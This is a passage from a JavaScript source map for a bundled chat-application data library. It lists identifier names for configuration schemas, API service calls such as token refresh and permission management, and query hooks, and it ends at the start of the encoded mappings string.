rsSchema","use","create","share","public","trustCheckbox","subLabel","interfaceSchema","privacyPolicy","termsOfService","customWelcome","endpointsMenu","modelSelect","sidePanel","multiConvo","bookmarks","memories","presets","prompts","temporaryChat","temporaryChatRetention","runCode","peoplePicker","users","roles","marketplace","fileCitations","remoteAgents","turnstileOptionsSchema","language","size","turnstileSchema","siteKey","KnownEndpoints","FetchTokenConfig","webSearchSchema","serperApiKey","searxngInstanceUrl","searxngApiKey","firecrawlApiKey","firecrawlApiUrl","firecrawlVersion","jinaApiKey","jinaApiUrl","cohereApiKey","searchProvider","scraperProvider","rerankerType","scraperTimeout","safeSearch","MODERATE","firecrawlOptions","formats","includeTags","excludeTags","waitFor","maxAge","mobile","skipTlsVerification","blockAds","removeBase64Images","parsePDF","storeInCache","zeroDataRetention","location","country","languages","onlyMainContent","changeTrackingOptions","modes","prompt","ocrSchema","mistralModel","strategy","MISTRAL_OCR","balanceSchema","startBalance","autoRefillEnabled","refillIntervalValue","refillIntervalUnit","refillAmount","transactionsSchema","memorySchema","validKeys","tokenLimit","charLimit","personalize","messageWindowSize","summarizationTriggerSchema","contextPruningSchema","keepLastAssistants","softTrimRatio","hardClearRatio","minPrunableToolChars","summarizationConfigSchema","trigger","updatePrompt","reserveRatio","maxSummaryTokens","contextPruning","customEndpointsSchema","cache","memory","summarization","secureImageLinks","imageOutputType","PNG","includedTools","filteredTools","mcpSettings","allowedDomains","interface","turnstile","fileStrategy","local","fileStrategies","registration","socialLogins","balance","transactions","rateLimits","fileConfig","modelSpecs","all","data","ollama","deepseek","moonshot","xai","vercel","helicone","VisionModes","InfiniteCollections","Time","CacheKeys","ViolationTypes","ErrorTypes","AuthKeys","ImageDetailCost","SettingsTabValues","STTProviders","TTSProviders","Constants","LocalStorageKeys","ForkOptions","CohereConstants","SystemCategories","sharedOpenAIModels","defaultModels","openAIModels","initialModelsConfig","initial","str","_post","axios","post","JSON","stringify","sent","isRefreshing","failedQueue","refreshToken","retry","endpoints.refreshToken","dispatchTokenUpdatedEvent","token","defaults","common","setTokenHeader","window","dispatchEvent","CustomEvent","detail","processQueue","prom","reject","resolve","interceptors","response","__awaiter","originalRequest","config","Promise","includes","pathname","startsWith","status","_retry","console","warn","err_1","href","endpoints.apiBaseUrl","search","hash","p","s","h","stripped","currentPath","endpoints.buildLoginRedirectUrl","err_2","request","get","getResponse","postMultiPart","formData","postTTS","responseType","put","delete","deleteWithOptions","patch","revokeUserKey","endpoints.revokeUserKey","revokeAllUserKeys","getSharedMessages","endpoints.shareMessages","getSharedLink","endpoints.getSharedLink","updateUserKey","payload","Error","deleteAgentApiKey","endpoints.apiKeyById","createPreset","deletePreset","arg","updateTokenCount","register","userKeyQuery","endpoints.userKeyQuery","requestPasswordReset","resetPassword","getAvailablePlugins","updateUserPlugins","reinitializeMCPServer","serverName","endpoints.mcpReinitialize","getMCPServerConnectionStatus","endpoints.mcpServerConnectionStatus","cancelMCPOAuth","endpoints.cancelMCPOAuth","QueryKeys","MutationKeys","PrincipalType","PrincipalModel","ResourceType","PermissionBits","AccessRoleIds","getCustomConfigSpeech","clearAllConversations","getConversationById","endpoints.conversationById","updateFeedback","endpoints.feedback","searchPrincipals","q","types","endpoints.searchPrincipals","getAccessRoles","resourceType","endpoints.getAccessRoles","getResourcePermissions","resourceId","endpoints.getResourcePermissions","updateResourcePermissions","endpoints.updateResourcePermissions","getEffectivePermissions","endpoints.getEffectivePermissions","getAllEffectivePermissions","endpoints.getAllEffectivePermissions","principalSchema","idOnTheSource","accessRoleId","memberCount","accessRoleSchema","AGENT","permBits","permissionEntrySchema","principalType","principalId","principalName","role","grantedBy","grantedAt","inheritedFrom","hasPermissions","permissions","requiredPermission","updated","removed","publicAccessRoleId","results","principals","permissionBits","useGetSharedMessages","useQuery","sharedMessages","dataService.getSharedMessages","refetchOnWindowFocus","refetchOnReconnect","refetchOnMount","useGetSharedLinkQuery","queryClient","useQueryClient","sharedLinks","dataService.getSharedLink","NEW_CONVO","PENDING_CONVO","onSuccess","setQueryData","useGetConversationByIdQuery","conversation","dataService.getConversationById","useGetConversationByIdMutation","useMutation","invalidateQueries","useUpdateMessageMutation","endpoints.messages","dataService.updateMessage","useUpdateMessageContentMutation","dataService.updateMessageContent","useUpdateUserKeysMutation","dataService.updateUserKey","variables","useClearConversationsMutation","dataService.clearAllConversations","allConversations","useRevokeUserKeyMutation","dataService.revokeUserKey","_endpoint","toLowerCase","assistantDocs","assistant","mcpTools","useRevokeAllUserKeysMutation","dataService.revokeAllUserKeys","s.EModelEndpoint","useGetModelsQuery","initialData","staleTime","Infinity","useCreatePresetMutation","dataService.createPreset","useDeletePresetMutation","dataService.deletePreset","useUpdateTokenCountMutation","dataService.updateTokenCount","tokenCount","useRegisterUserMutation","dataService.register","arguments","apply","useUserKeyQuery","dataService.userKeyQuery","expiresAt","useRequestPasswordResetMutation","dataService.requestPasswordReset","useResetPasswordMutation","dataService.resetPassword","useAvailablePluginsQuery","availablePlugins","dataService.getAvailablePlugins","useUpdateUserPluginsMutation","_options","dataService.updateUserPlugins","action","mcp_prefix","mcpAuthValues","useReinitializeMCPServerMutation","dataService.reinitializeMCPServer","useCancelMCPOAuthMutation","dataService.cancelMCPOAuth","mcpConnectionStatus","useGetCustomConfigSpeechQuery","customConfigSpeech","dataService.getCustomConfigSpeech","useUpdateFeedbackMutation","dataService.updateFeedback","useSearchPrincipalsQuery","principalSearch","dataService.searchPrincipals","useGetAccessRolesQuery","accessRoles","dataService.getAccessRoles","useGetResourcePermissionsQuery","resourcePermissions","dataService.getResourcePermissions","useUpdateResourcePermissionsMutation","mutationFn","dataService.updateResourcePermissions","_","queryKey","effectivePermissions","useGetEffectivePermissionsQuery","queryFn","dataService.getEffectivePermissions","useGetAllEffectivePermissionsQuery","dataService.getAllEffectivePermissions","useMCPServerConnectionStatusQuery","dataService.getMCPServerConnectionStatus","useGetAgentApiKeysQuery","agentApiKeys","endpoints.apiKeys","useCreateAgentApiKeyMutation","dataService.createAgentApiKey","useDeleteAgentApiKeyMutation","dataService.deleteAgentApiKey"],"mappings":"uIAiBYA,EAWAC,EAibAC,EAKAC,EAQAC,EAOAC,EAoIAC,2rEAplBZ,SAAYN,GACVA,EAAA,aAAA,eACAA,EAAA,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